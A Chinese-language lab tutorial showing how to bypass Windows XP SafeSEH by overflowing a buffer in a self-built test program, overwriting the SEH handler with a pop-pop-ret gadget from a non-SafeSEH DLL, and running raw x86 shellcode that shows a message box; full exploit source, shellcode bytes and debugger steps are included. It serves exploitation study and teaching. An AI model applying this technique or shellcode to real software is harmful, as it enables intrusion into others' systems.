前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >绕过SafeSEHS机制第一招

绕过SafeSEHS机制第一招

原创
作者头像
极安御信安全研究院
发布2022-08-18 21:15:51
2140
发布2022-08-18 21:15:51
举报

作者:黑蛋

1.简述

在 Windows XP SP2 及后续版本的操作系统中,微软引入了 S.E.H 校验机制SafeSEH。SafeSEH 的原理很简单,在程序调用异常处理函数前,对要调用的异常处理函数进行一系列的有效性校验,当发现异常处理函数不可靠时将终止异常处理函数的调用。如果我们采用缓冲区溢出淹没SEH处理函数,让SEH处理函数直接指向我们栈中的shellcode,会被SafeSEH发现,并拒绝执行此处理函数。针对此保护机制,有一招是通过一个未开启SafeSEH模块中的跳板指令地址替换SEH处理函数地址,再间接返回栈中shellcode运行流程。本次实验就是运用此方法,参考《0day安全》中的部分资料。

2.环境配置

环境

配置

操作系统

Windows XP

编译器

​VS2008

调试工具

OD

项目配置

realse版本+关闭DEP保护

3.代码展示

#include "stdafx.h" #include #include char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x12\x10\x12\x11" "\x90\x90\x90\x90\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x66\x66\x66\x66\x68\x66\x66\x66\x66\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"; char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x00"; DWORD MyException(void) { printf("There is an exception"); getchar(); return 1; } void test(char * input) { char str[200]; strcpy(str,input); int zero=0; __try { ##  zero=1/zero; } __except(MyException()) { } } int _tmain(int argc, _TCHAR* argv[]) { HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll")); char str[200]; test(shellcode2); return 0; }

同样有俩段字符串,第一个是精心制作的shellcode,第二段字符串是正常字符串,供我们第一次分析程序栈中情况,同时这里需要一个未开启SafeSEH的模块,进行加载,在里面寻找跳板指令(pop * pop * ret,至于原因将在后续讲解)。我自己生成的exe以及未开启保护的dll

4.程序分析

传入正常字符串shellcode2,生成exe拖入x32dbg,F9运行到自己模块领空,进入call下面第一个跳转:

找主函数入口:

进入主函数,第一个call是加载未开启SafeSEH模块的函数,之后压入shellcode2地址,进入第二个call,即test函数:

通过分析汇编代码,发现jne是循环拷贝命令,我们运行到jne之后,观察栈中情况:

箭头指向位置0012FDB8是buf起始位置

箭头指向位置0012FE94是SEH处理函数,所以我们需要在0012FE94-0012FDB8字节的位置放置我们的跳转指令,结束此次调试,把我们自己的没开启SafeSEHS的模块拖入x32dbg,找一个pop,pop,ret的位置,也可以通过代码按照硬编码寻找,我采用直接拖入x32dbg中寻找:

F9运行到自己领空,向上查找很轻易找到一个符合要求的位置11121012,接下来传入shellcode(已经提前构造好)

char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x12\x10\x12\x11" "\x90\x90\x90\x90\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x66\x66\x66\x66\x68\x66\x66\x66\x66\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

前面是一堆滑板指令,在SEH处理函数的位置放入我们找到的跳板指令位置,之后是我们的弹窗shellcode,至于为何把弹窗shellcode放到最后面,是因为在运行异常处理函数途中会改变EBP-4的地方的值,为了保护shellcode,把他放在下面,重新生成程序,拖入x32dbg,直接F9,F9运行到除零异常的地方:

可以清晰的看到SEH处理函数位置已经是我们跳板指令的地方,我们在这里跳转到跳板指令下断点:

之后F9继续运行,断在跳板指令这边,观察堆栈情况:

发现ESP和ESP-4是两个垃圾参数,我们需要弹出他们,这也就是为什么要寻找pop,pop,ret的原因,而ESP+4指向我们shellcode上方,继续运行到ret之后:

已经进入我们shellcode里面,继续运行,弹窗:

5.结束

以上就是在编译器默认开启SafeSEH的情况下,借助没有开启SafeSEH模块中的跳板指令,成功通过淹没SEH处理函数,让程序流程到我们弹窗shellcode的位置,到达我们的目的,弹个小框框。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2.环境配置
  • 3.代码展示
  • 4.程序分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档